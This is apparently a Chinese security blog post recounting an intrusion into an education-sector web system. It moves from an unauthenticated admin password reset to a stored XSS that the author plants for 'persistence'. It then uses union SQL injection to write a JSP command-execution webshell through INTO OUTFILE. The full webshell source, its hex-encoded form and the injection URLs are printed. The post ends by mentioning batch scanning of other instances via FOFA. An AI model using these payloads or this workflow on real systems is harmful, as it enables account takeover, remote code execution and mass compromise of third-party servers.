[老树新花]从未授权到GetShell

未授权访问

前几天晚上有空的时候想看看别人EduSrc的挖掘思路,谷歌大法搜索了一下,找到了一篇讲通用密码重置漏洞的文章,同时由于其原博主的灵魂打码,让我通过谷歌搜索成功找到了这个系统。

[老树新花]从未授权到GetShell

原来的漏洞是重置密码时校验码默认为admin,经过测试后实际上此处存在一个未授权修改密码,直接访问网址(以下均进行脱敏处理)

xxxx/updatePasswd?username=admin,1

就进入了修改管理员密码的界面

[老树新花]从未授权到GetShell

本着来都来了的精神,修改密码登录一气呵成

登陆之

[老树新花]从未授权到GetShell

XSS漏洞

这种后台一般会有很多XSS,随便找个点尝试一发助助兴,方便管理员后期修补漏洞后的权限维持,那就课程管理处的新增 ->

[老树新花]从未授权到GetShell

输入最基础的<script>alert(1)</script>

[老树新花]从未授权到GetShell

提交之后搜索新增的课程代码0000001(PS:这里重复是因为之前先尝试了一次)

[老树新花]从未授权到GetShell

成功弹窗,right!

但是这并不是我们想要的,后台XSS说实话有点鸡肋,想找一个隐蔽点的未授权或者SQL注入

继续闲逛....

疑似任意文件下载

发现一个数据导出点,抓包分析一下下载路径,看看是否存在任意文件下载

[老树新花]从未授权到GetShell

下载路径为绝对路径,感觉有戏

(此处度过两小时....)

测试很久之后还是不能下载,试了很多绕过的方法还是莫法,只能先把下载的绝对路径保存下来,呜呜呜呜.....

柳暗花明

在继续寻找中发现GET的传参点:

action?Id=aa&wid=2

尝试一发注入(其实最开始的那个案例是可以布尔注入的,后面这个案例不知道咋的有点问题)发现存在联合注入,真罕见

action?Id=aa&wid=2' and '1'='2' union select database()--+

[老树新花]从未授权到GetShell

获得数据库名

JSP一句话写SHELL

带上之前的绝对路径写shell

原JSP一句话为:

<% java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("</pre>");%>

原文写进去总是要报错,就进行了十六进制编码

0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e

into outfile绝对路径写shell

action?Id=aa&wid=2' union select 0x3c25206a6176612e696f2e496e70757453747265616d20696e707574203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e74206c656e203d202d313b627974655b5d206279746573203d206e657720627974655b343039325d3b6f75742e7072696e7428223c7072653e22293b7768696c652028286c656e203d20696e7075742e72656164286279746573292920213d202d3129207b6f75742e7072696e746c6e286e657720537472696e672862797465732c202247424b2229293b7d6f75742e7072696e7428223c2f7072653e22293b253e into outfile 'D://xxxxx/spring10.jsp' --+

执行whoami

[老树新花]从未授权到GetShell

成功getshell

批量检测

编写一个简单的批量检测脚本(凑合看吧hhh

[老树新花]从未授权到GetShell

FOFA再按照系统指纹搜索一下即可

搞定收工orz

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

上一篇:webshell方法总结


下一篇:利用"永恒之蓝"漏洞 实现Windows Getshell 对靶机Win7进行控制